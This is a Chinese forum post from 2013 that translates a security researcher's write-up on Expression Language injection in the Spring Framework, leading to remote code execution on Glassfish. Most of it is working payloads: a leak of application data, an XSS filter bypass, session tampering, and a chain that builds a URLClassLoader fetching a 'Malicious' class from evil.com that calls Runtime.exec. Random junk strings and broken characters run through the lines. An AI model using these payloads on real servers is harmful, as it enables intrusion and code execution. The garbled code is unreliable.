找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2025|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with! J7 `3 A, T: |6 p9 z5 L; T
Expression Language Injection
# W9 ?; C3 k# m5 L% C& @! y* wSpring Framework脆弱性—DanAmodio' c% i' j( E2 k. R
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
7 K& \, k% m- T可能会存在风险。
2 S( t, c' y9 O9 |" F  r4 F在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
7 T) u5 B5 p; [Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
( K- N, E7 Q* _" K- E; Z以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,: I! V+ Q. X+ F1 Z8 B3 ]
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前+ [% \( D$ p  ^3 ^1 D" L
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。( ]/ o- t% ]& H5 b" ^! d
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但! T7 L* {. O( f2 m$ }
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版( b% @! ?  I  g
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。$ Y9 Z5 n) K! j1 A' T. ^
这些版本不支持禁用double EL resolution.( D7 H+ |. K. T* K7 T
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
, P9 K1 @2 ~$ R. J2 fEL2.2容器上可能进行远程代码执行。
; V& [& m9 y6 k1 |  J; T, A' o这是一个原始信息泄露的攻击例子:5 U0 t8 z7 ]9 }5 a* E
请求:
7 }& r7 J, Y. xttp://vulnerable.com/foo?message=${applicationScope}  U4 H) u- [9 x2 {  A( V
到达以下内容页面:
" G9 G2 c: h1 B结果将输出一些包含内部服务器信息calsspath 和本地工作目录" U2 e4 w- k/ F" W4 Z& i4 [4 m
你也可以做一些其他事情,如这样:
' s! j9 ?8 K% a${9999+1}# Q- A& U. n; ^/ \; ]1 r1 G
还可以访问session 对象和beans8 a+ {! t$ W; d+ a
${employee.lastName}
  X6 S4 ~7 H1 t! ]1 ?% |9 Q在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是' W/ G# m) Q2 m( h+ }& y/ B0 N
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东$ E+ q8 g' g2 y1 m6 ]- U0 t
西,比如XSS." G2 }* ]8 w7 {' [* L& `2 m& X& U
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签. X2 m$ ?; u. z8 \5 h
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
/ T+ M" r6 Q( q7 X1 m呢?”
1 Y2 z' Q9 C! S5 \& m6 [/ p8 R5 o. O因此,我尝试巳缦拢�
2 h, P% Y# }0 whttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
0 I1 @& r; r* d' rP
) L9 ^' [' h% r, A2 C$ R$ i, j我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
& o, i. R" a  C. N8 ?! W! c4 O* |回的文本被插入进了spring:message 标签。6 d7 G# _- c7 w1 k' F
这里是一个最终绕过过滤的实例:
. m! b7 y- `- [' {% U! _8 J+ Ehttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ6 t2 F8 F; h8 K% B) b& w% c
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为( z' B0 y2 p$ V" C, l9 K% O
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?0 \% K9 y/ p" v$ P: E
经过一番研究,我学习到EL2.2 增加了方法调用。
! _% b! u/ r7 e  G我写了一个快速测试应用程序代码并且检测一些功能
3 |. E: J- M; }! u% ]5 [${pageContext.request.getSession().setAttribute(“account”,”123456″)}6 |+ j: D$ d4 t5 e3 R9 A
${pageContext.request.getSession().setAttribute(“admin”,true)}5 G; p( Z) v( h$ f) K+ [
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的% `& H% e% F' X4 B1 e; U
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?7 j. z8 B+ k* c2 U, W1 ~
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
  b, q$ [& _" r, @$ d$ H“, 1234)}
0 z# T- {& Z7 b5 O${“”.getClass().forName(“java.lang.Runtime”)}
4 ]9 A" {$ M# G哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
9 Z" R! U0 g8 Z可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
; L1 L8 B" |7 y/ `' b% p. R( C数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
. s6 C) b9 g; W7 p. S+ h一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
0 K# P. X  [1 S  P, z方法签名invoke(Object obj, Object„ args)' E) g* x) {, z
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
; |, r( U% L7 A: I题,以让它可以工作起来。: q( t; l* ]& S
漏洞利用:' ^0 Z5 I: f: b1 M
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
) C0 H, v+ @' [希望你们中的一些JAVA奇才告诉我我是如此的可笑。; M7 a8 K  t9 H; B
这里有一些我试过的失败的用例,为了试图让它工作的用例:4 f& R& T# ]5 o# N' I
 写文件到文件系统& w8 {7 C8 z- T/ z2 t
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
3 d7 b) m$ n1 a; i$ q/ b我认为这些可以很好的工作,但是我不能找到合适的类来载入。% `. {% C4 L) W( f" _
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
' [& z) Q! f* I! q  A8 g$ njavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
/ e/ Z' K5 G" ?% O5 korg.springframework.expression.spel.standard.SpelExpressionParser not found8 d+ e) j" k# N2 A7 Y9 H
by2 L: X2 Z; i+ R, d6 {3 @7 p
org.glassfish.web.javax.servlet.jsp [194].8 P  {5 X' P+ J, @: d  u6 J
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public9 n: b$ I. D% J
 利用反射来创建一个新的Runtime(and watch the world burn)% ?" U# J4 |( v9 P4 [- y3 b
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
5 K$ z% `4 F+ A& n1 x6 A(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
. D8 v  O5 v0 w. X. w/ G${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
+ ?8 }6 p. K5 |" N) M7 T 使用java.lang.ProcessBuilder: h- s8 S; j- Q5 {: J  O# t
 用表达式语言来评估表达式语言
" J8 B4 ^0 y# U4 Y# oExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
- K* E* S. B! A+ g! p, {5 l& U${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
* M4 F6 \5 s- Q: p“,”".getClass(),null)}
( y) x5 T& H; o+ H 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)4 q2 i2 f+ H7 m
我在使用一个空数组通过Method.invoke()时失败了很多次7 o5 Z: V4 u" H$ h% v' d
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
# p8 }* z7 {6 J( J2 v+ v.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
4 p7 C. d* ^0 `$ B0 UrrayList”).newInstance().toArray())2 C" D' I4 j( W: _$ ?
java.lang.IllegalArgumentException: wrong number of arguments  P1 h2 `6 ?1 X# ~8 n4 L
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
* B  I* o' Z, l* ~以创建一个恶意class文件并且指向类装载器.9 w9 @* [+ M# K5 o" c8 K( V
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
0 K4 c, B! O- w( `1 Fpublic class Malicious {
# K" ]2 L: ?; ?% w8 apublic Malicious() {  k$ F9 s" c( n% i0 y$ h4 K
try {
% T4 C5 \; e2 z3 _java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
5 ~' F& E  X) X% J) Jjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win+ i$ {1 N, Z% ]
} catch (Exception e) {
: ^, p7 T% O9 T- V( a}/ ]! W( T' \. `2 p) a
}
& e6 L. V6 |7 R2 ]我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
1 m3 Q, S: `" M  R' f话中,因此它可以被使用.
1 y1 w! I0 c8 Z6 K2 `9 s${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
3 D. V! {  m" C- c(“java.util.ArrayList”).newInstance())}
/ @% B! F$ j# o# PURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建+ ^  R8 [! b9 B$ E
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
. K& a$ X3 C, l- V) KgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
# f7 K$ h8 d) K6 Y我们可以调用的create(string)方法,然后转换对一个URL对象。
( X/ w9 T' r6 F! X0 t  x${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh7 E) w; G! B* f7 |3 [, V& `- ?! m) [
ere/malicious/classfile/is/located/”).toURL())}
6 `) W! }" u' f9 H  G然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,1 d! w; S' f: Y( i8 X
恶意类文件被装载并创建,触发远程代码.# W  |  L2 `& b% n+ q- c0 g. X
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte, i5 H$ ~, H  K, ]
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().# n9 t9 y% T6 @4 Q$ w
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
& p/ U& U1 Q  d5 E  e# q0 f()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表